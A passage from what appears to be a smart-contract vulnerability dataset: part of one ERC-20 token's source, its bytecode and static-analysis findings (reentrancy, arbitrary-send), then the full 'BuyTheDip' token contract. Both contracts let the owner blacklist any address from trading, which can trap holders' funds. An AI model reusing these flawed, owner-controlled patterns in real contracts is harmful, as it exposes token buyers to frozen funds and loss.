allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _tokenFromReflection(uint256 rAmount) private view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function _removeAllFees() private { require(_teamFee > 0); _previousteamFee = _teamFee; _teamFee = 0; } function _restoreAllFees() private { _teamFee = _previousteamFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case."); bool takeFee = false; if ( !_isExcludedFromFee[from] && !_isExcludedFromFee[to] && !_noTaxMode && (from == _uniswapV2Pair || to == _uniswapV2Pair) ) { require(_tradingOpen, 'Trading has not yet been opened.'); takeFee = true; if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) { uint walletBalance = balanceOf(address(to)); require(amount.add(walletBalance) <= _tTotal.mul(3).div(100)); } if (block.timestamp == _launchTime) _isBot[to] = true; uint256 contractTokenBalance = balanceOf(address(this)); if (!_inSwap && from != _uniswapV2Pair) { if (contractTokenBalance > 0) { if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100)) contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100); _swapTokensForEth(contractTokenBalance); } } } _tokenTransfer(from, to, amount, takeFee); } function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() { address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _approve(address(this), address(_uniswapV2Router), tokenAmount); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) { (uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); emit Transfer(sender, recipient, tTransferAmount); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate); return (rAmount, rTransferAmount, tTransferAmount, tTeam); } function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) { uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tTeam); return (tTransferAmount, tTeam); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rTeam); return (rAmount, rTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function initContract(address payable feeAddress) external onlyOwner() { require(!_initialized,"Contract has already been initialized"); IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); _uniswapV2Router = uniswapV2Router; _feeAddress = feeAddress; _isExcludedFromFee[_feeAddress] = true; _initialized = true; } function openTrading() external onlyOwner() { require(_initialized, "Contract must be initialized first"); _tradingOpen = true; _launchTime = block.timestamp; _initialLimitDuration = _launchTime + (1 minutes); } function setFeeWallet(address payable feeWalletAddress) external onlyOwner() { _isExcludedFromFee[_feeAddress] = false; _feeAddress = feeWalletAddress; _isExcludedFromFee[_feeAddress] = true; } function excludeFromFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = true; } function includeToFee(address payable ad) external onlyOwner() { _isExcludedFromFee[ad] = false; } function setTeamFee(uint256 fee) external onlyOwner() { require(fee <= 15, "not larger than 15%"); _teamFee = fee; } function setSnipper(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) { _isBot[bots_[i]] = true; } } } function delBots(address[] memory bots_) public onlyOwner() { for (uint i = 0; i < bots_.length; i++) { _isBot[bots_[i]] = false; } } function isBot(address ad) public view returns (bool) { return _isBot[ad]; } function isExcludedFromFee(address ad) public view returns (bool) { return _isExcludedFromFee[ad]; } function swapFeesManual() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); _swapTokensForEth(contractBalance); } function withdrawFees() external { uint256 contractETHBalance = address(this).balance; _feeAddress.transfer(contractETHBalance); } receive() external payable {} }
0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103fd578063cf0848f714610412578063cf9d4afa14610432578063dd62ed3e14610452578063e6ec64ec14610498578063f2fde38b146104b857600080fd5b8063715018a61461032c5780638da5cb5b1461034157806390d49b9d1461036957806395d89b411461038957806399468008146103bd578063a9059cbb146103dd57600080fd5b806331c2d8471161010857806331c2d847146102455780633bbac57914610265578063437823ec1461029e578063476343ee146102be5780635342acb4146102d357806370a082311461030c57600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101bc57806318160ddd146101ec57806323b872dd14610211578063313ce5671461023157600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104d8565b005b34801561017e57600080fd5b5060408051808201909152600f81526e10da195919185c8810d85c1a5d185b608a1b60208201525b6040516101b391906118f5565b60405180910390f35b3480156101c857600080fd5b506101dc6101d736600461196f565b610524565b60405190151581526020016101b3565b3480156101f857600080fd5b50678ac7230489e800005b6040519081526020016101b3565b34801561021d57600080fd5b506101dc61022c36600461199b565b61053b565b34801561023d57600080fd5b506009610203565b34801561025157600080fd5b506101706102603660046119f2565b6105a4565b34801561027157600080fd5b506101dc610280366004611ab7565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102aa57600080fd5b506101706102b9366004611ab7565b61063a565b3480156102ca57600080fd5b50610170610688565b3480156102df57600080fd5b506101dc6102ee366004611ab7565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031857600080fd5b50610203610327366004611ab7565b6106c2565b34801561033857600080fd5b506101706106e4565b34801561034d57600080fd5b506000546040516001600160a01b0390911681526020016101b3565b34801561037557600080fd5b50610170610384366004611ab7565b61071a565b34801561039557600080fd5b5060408051808201909152600b81526a10d2115110d0541255105360aa1b60208201526101a6565b3480156103c957600080fd5b506101706103d83660046119f2565b610794565b3480156103e957600080fd5b506101dc6103f836600461196f565b6108ad565b34801561040957600080fd5b506101706108ba565b34801561041e57600080fd5b5061017061042d366004611ab7565b610971565b34801561043e57600080fd5b5061017061044d366004611ab7565b6109bc565b34801561045e57600080fd5b5061020361046d366004611ad4565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b3480156104a457600080fd5b506101706104b3366004611b0d565b610c17565b3480156104c457600080fd5b506101706104d3366004611ab7565b610c8d565b6000546001600160a01b0316331461050b5760405162461bcd60e51b815260040161050290611b26565b60405180910390fd5b6000610516306106c2565b905061052181610d25565b50565b6000610531338484610e9f565b5060015b92915050565b6000610548848484610fc3565b61059a843361059585604051806060016040528060288152602001611ca1602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113de565b610e9f565b5060019392505050565b6000546001600160a01b031633146105ce5760405162461bcd60e51b815260040161050290611b26565b60005b8151811015610636576000600560008484815181106105f2576105f2611b5b565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062e81611b87565b9150506105d1565b5050565b6000546001600160a01b031633146106645760405162461bcd60e51b815260040161050290611b26565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f19350505050158015610636573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461053590611418565b6000546001600160a01b0316331461070e5760405162461bcd60e51b815260040161050290611b26565b610718600061149c565b565b6000546001600160a01b031633146107445760405162461bcd60e51b815260040161050290611b26565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000546001600160a01b031633146107be5760405162461bcd60e51b815260040161050290611b26565b60005b815181101561063657600c5482516001600160a01b03909116908390839081106107ed576107ed611b5b565b60200260200101516001600160a01b03161415801561083e5750600b5482516001600160a01b039091169083908390811061082a5761082a611b5b565b60200260200101516001600160a01b031614155b1561089b5760016005600084848151811061085b5761085b611b5b565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108a581611b87565b9150506107c1565b6000610531338484610fc3565b6000546001600160a01b031633146108e45760405162461bcd60e51b815260040161050290611b26565b600c54600160a01b900460ff166109485760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b6064820152608401610502565b600c805460ff60b81b1916600160b81b17905542600d81905561096c90603c611ba2565b600e55565b6000546001600160a01b0316331461099b5760405162461bcd60e51b815260040161050290611b26565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109e65760405162461bcd60e51b815260040161050290611b26565b600c54600160a01b900460ff1615610a4e5760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b6064820152608401610502565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610aa5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac99190611bba565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b16573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b3a9190611bba565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b87573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bab9190611bba565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c415760405162461bcd60e51b815260040161050290611b26565b600f811115610c885760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031352560681b6044820152606401610502565b600855565b6000546001600160a01b03163314610cb75760405162461bcd60e51b815260040161050290611b26565b6001600160a01b038116610d1c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610502565b6105218161149c565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6d57610d6d611b5b565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dc6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dea9190611bba565b81600181518110610dfd57610dfd611b5b565b6001600160a01b039283166020918202929092010152600b54610e239130911684610e9f565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e5c908590600090869030904290600401611bd7565b600060405180830381600087803b158015610e7657600080fd5b505af1158015610e8a573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610f015760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610502565b6001600160a01b038216610f625760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610502565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166110275760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610502565b6001600160a01b0382166110895760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610502565b600081116110eb5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610502565b6001600160a01b03831660009081526005602052604090205460ff16156111935760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a401610502565b6001600160a01b03831660009081526004602052604081205460ff161580156111d557506001600160a01b03831660009081526004602052604090205460ff16155b80156111eb5750600c54600160a81b900460ff16155b801561121b5750600c546001600160a01b038581169116148061121b5750600c546001600160a01b038481169116145b156113cc57600c54600160b81b900460ff166112795760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e6044820152606401610502565b50600c546001906001600160a01b0385811691161480156112a85750600b546001600160a01b03848116911614155b80156112b5575042600e54115b156112fc5760006112c5846106c2565b90506112e560646112df678ac7230489e8000060036114ec565b9061156b565b6112ef84836115ad565b11156112fa57600080fd5b505b600d5442141561132a576001600160a01b0383166000908152600560205260409020805460ff191660011790555b6000611335306106c2565b600c54909150600160b01b900460ff161580156113605750600c546001600160a01b03868116911614155b156113ca5780156113ca57600c54611394906064906112df90600f9061138e906001600160a01b03166106c2565b906114ec565b8111156113c157600c546113be906064906112df90600f9061138e906001600160a01b03166106c2565b90505b6113ca81610d25565b505b6113d88484848461160c565b50505050565b600081848411156114025760405162461bcd60e51b815260040161050291906118f5565b50600061140f8486611c48565b95945050505050565b600060065482111561147f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610502565b600061148961170f565b9050611495838261156b565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826114fb57506000610535565b60006115078385611c5f565b9050826115148583611c7e565b146114955760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610502565b600061149583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611732565b6000806115ba8385611ba2565b9050838110156114955760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610502565b808061161a5761161a611760565b6000806000806116298761177c565b6001600160a01b038d166000908152600160205260409020549397509195509350915061165690856117c3565b6001600160a01b03808b1660009081526001602052604080822093909355908a168152205461168590846115ad565b6001600160a01b0389166000908152600160205260409020556116a781611805565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116ec91815260200190565b60405180910390a3505050508061170857611708600954600855565b5050505050565b600080600061171c61184f565b909250905061172b828261156b565b9250505090565b600081836117535760405162461bcd60e51b815260040161050291906118f5565b50600061140f8486611c7e565b60006008541161176f57600080fd5b6008805460095560009055565b6000806000806000806117918760085461188f565b91509150600061179f61170f565b90506000806117af8a85856118bc565b909b909a5094985092965092945050505050565b600061149583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113de565b600061180f61170f565b9050600061181d83836114ec565b3060009081526001602052604090205490915061183a90826115ad565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e8000061186a828261156b565b82101561188657505060065492678ac7230489e8000092509050565b90939092509050565b600080806118a260646112df87876114ec565b905060006118b086836117c3565b96919550909350505050565b600080806118ca86856114ec565b905060006118d886866114ec565b905060006118e683836117c3565b92989297509195505050505050565b600060208083528351808285015260005b8181101561192257858101830151858201604001528201611906565b81811115611934576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461052157600080fd5b803561196a8161194a565b919050565b6000806040838503121561198257600080fd5b823561198d8161194a565b946020939093013593505050565b6000806000606084860312156119b057600080fd5b83356119bb8161194a565b925060208401356119cb8161194a565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a0557600080fd5b823567ffffffffffffffff80821115611a1d57600080fd5b818501915085601f830112611a3157600080fd5b813581811115611a4357611a436119dc565b8060051b604051601f19603f83011681018181108582111715611a6857611a686119dc565b604052918252848201925083810185019188831115611a8657600080fd5b938501935b82851015611aab57611a9c8561195f565b84529385019392850192611a8b565b98975050505050505050565b600060208284031215611ac957600080fd5b81356114958161194a565b60008060408385031215611ae757600080fd5b8235611af28161194a565b91506020830135611b028161194a565b809150509250929050565b600060208284031215611b1f57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611b9b57611b9b611b71565b5060010190565b60008219821115611bb557611bb5611b71565b500190565b600060208284031215611bcc57600080fd5b81516114958161194a565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c275784516001600160a01b031683529383019391830191600101611c02565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611c5a57611c5a611b71565b500390565b6000816000190483118215151615611c7957611c79611b71565b500290565b600082611c9b57634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203039dad1e1c4b941edc7238297bb9686e8f7d97c52fd4d43894f0985b10b988e64736f6c634300080b0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,390
0x9bc19ee670f32bd20eff760cd50a42da5f2b0a0e
/** ____ ________ ____ _ / __ )__ ____ __ /_ __/ /_ ___ / __ \(_)___ / __ / / / / / / / / / / __ \/ _ \ / / / / / __ \ / /_/ / /_/ / /_/ / / / / / / / __/ / /_/ / / /_/ / /_____/\__,_/\__, / /_/ /_/ /_/\___/ /_____/_/ .___/ /____/ /_/ TG: https://t.me/buythediptoken Twitter: https://twitter.com/buythediptoken */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract BuyTheDip is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Buy The Dip!"; string private constant _symbol = "BuyTheDip \xF0\x9F\x86\x99"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 2; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 2; _teamFee = 10; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tTeam = tAmount.mul(TeamFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
